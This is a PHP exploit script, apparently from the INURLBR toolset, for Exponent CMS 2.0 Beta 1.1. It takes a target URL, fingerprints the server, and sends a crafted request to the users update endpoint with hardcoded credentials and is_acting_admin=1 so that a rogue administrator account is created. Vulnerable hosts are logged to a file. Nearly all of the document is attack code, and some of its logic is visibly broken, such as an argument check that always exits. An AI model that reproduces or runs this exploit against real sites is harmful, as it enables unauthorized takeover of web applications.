[EXPLOIT] Exponent CMS 2.0 Beta 1.1 CSRF Add ADM A

<?php

error_reporting(1);
set_time_limit(0);
ini_set('display_errors', 1);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
ob_implicit_flush(true);
ob_end_flush();
//Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account
//http://www.exploit-db.com/exploits/17235/
print !empty($argv[1]) ? exit('0x[ERROR]: DEFINA URL') : NULL;
$argv[1] =  isset($argv[1]) && strstr($argv[1],'http') ? $argv[1] : "http://{$argv[1]}";
!(preg_match_all("#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i", $argv[1], $alvo_)) ? exit('0x[ERROR]: DEFINA URL') : NULL;
$line = "\n------------------------------------------------------------------------------------------------------------------";
$config['alvo'] = $alvo_[0][0];
$config['user'] = 'inurlbr';
$config['pass1'] = 'brbr';
$config['pass2'] = 'brbr';
$config['email'] = 'you@mail.com';
$config['firstname'] = 'name';
$config['lastname'] = 'las name';

$config['exploit'] = "/exponent/index.php?module=users&action=update&username={$config['user']}&pass1={$config['pass1']}&pass2={$config['pass2']}&email={$config['email']}&firstname={$config['firstname']}&lastname={$config['lastname']}&is_acting_admin=1";
$exec = $config['alvo'] . $config['exploit'];
$headers = get_headers($argv[1], 1);
print "\r\n0x[EXPLOIT NAME]: Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account / INURL - BRASIL";
print $line;
print "\n0x " . date("h:m:s") . " [INFO]: ";
print $headers[0] . (isset($headers[1]) ? ' -> ' . $headers[1] : NULL);
print "\n0x " . date("h:m:s") . " [INFO]: ";
is_array($headers['Server']) ? print_r($headers['Server'][0]) : print_r($headers['Server']);
print "\n0x " . date("h:m:s") . " [INFO]: ";
is_array($headers['X-Powered-By']) ? print_r($headers['X-Powered-By'][0]) : print_r($headers['X-Powered-By']);
print "\n0x " . date("h:m:s") . " [INFO]: TARGET: {$alvo_[0][0]}";

function __request($url) {

    $objcurl = curl_init();
    curl_setopt($objcurl, CURLOPT_URL, $url);
    curl_setopt($objcurl, CURLOPT_HEADER, 1);
    curl_setopt($objcurl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($objcurl, CURLOPT_USERAGENT, "::INURLBR::/1.0.1 (compatible; MSIE 5.01; Linux 5.0)");
    $corpo = curl_exec($objcurl);
    return ($corpo);
}

$rest = __request($exec);
preg_match_all('(Server:.*)', $rest, $status['server']);
print $line;
if (!strstr($rest, 'Resource Not Found') && strstr($status['server'], '200')) {
    $file = "\n0x " . date("h:m:s") . " [INFO][EXPLOIT]:: {$config['exploit']}";
    $file.= "\n0x " . date("h:m:s") . " [INFO][RESULTADO]:: {IS VULL}";
    print $file;
    file_put_contents('lfd.txt', "{$line}{$file}{$line}\n", FILE_APPEND);
} else {
    print "\n0x " . date("h:m:s") . " [INFO][RESULTADO]:: {NOT VULL}";
}

print $line;
print $rest;